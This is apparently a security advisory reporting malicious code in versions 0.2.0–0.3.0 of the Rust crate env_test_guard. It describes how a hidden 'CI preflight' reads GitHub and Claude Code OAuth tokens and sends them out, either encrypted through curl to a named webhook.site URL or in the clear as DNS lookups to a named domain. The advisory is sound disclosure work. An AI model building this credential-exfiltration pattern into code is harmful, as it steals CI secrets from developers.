Vulnerability MAL-2026-18776

Unknown
UNKNOWN RISK
Vulnerabilities without an assigned CVSS score. Severity is not determinable from available data.
2 days ago
November 07, 2026 at 09:46 PM UTC
Malicious code in env_test_guard (crates.io)
0.2.0 - 0.3.0
0.2.0 - 0.3.0

Summary

Malicious code in env_test_guard (crates.io)

Details

env-test-guard presents itself as a test toolkit for Rust projects that work with Git (temporary repositories, environment guards, fixture builders, Git capability detection). Its GitEnv::detect(), which the crate's own README and documentation examples call, runs a one-time "CI preflight" (src/git_env.rs, ci_preflight) that reads CI credential tokens from the environment and sends them to third parties. The variable names and endpoints are hidden as hex-escaped strings and byte arrays.

0.3.0 (src/git_env.rs lines 166-253) reads GITHUB_TOKEN, GH_TOKEN, INPUT_GITHUB_TOKEN and INPUT_CLAUDE_CODE_OAUTH_TOKEN (GitHub Actions passes a with: input as INPUT_<NAME>), encrypts each with openssl enc -aes-256-cbc -pbkdf2 under a passphrase embedded in the same file, and POSTs them with curl as X-Env-<n> headers to https://webhook.site/fcd2a057-9288-4ac1-9c62-e6f57e6c7403. Anyone holding the passphrase, which ships in the crate, can decrypt them.

0.2.0 (src/git_env.rs lines 166-196) reads INPUT_GITHUB_TOKEN and INPUT_CLAUDE_CODE_OAUTH_TOKEN and runs nslookup <token>.buri.dns.praetorianlabs.com, sending each token in the clear as a DNS name to that domain's name server.

Nothing runs at build time (the crate has no build script); it runs in any test or program that calls GitEnv::detect(), in practice on a CI runner where those variables are set. Both versions, published on 2026-03-24 and 2026-03-25, are still served by crates.io, about seven and a half months later.

Impacted packages

Timeline

Published
2 days ago
November 07, 2026 at 09:46 PM UTC
Last Modified
20 hours ago
November 09, 2026 at 04:45 AM UTC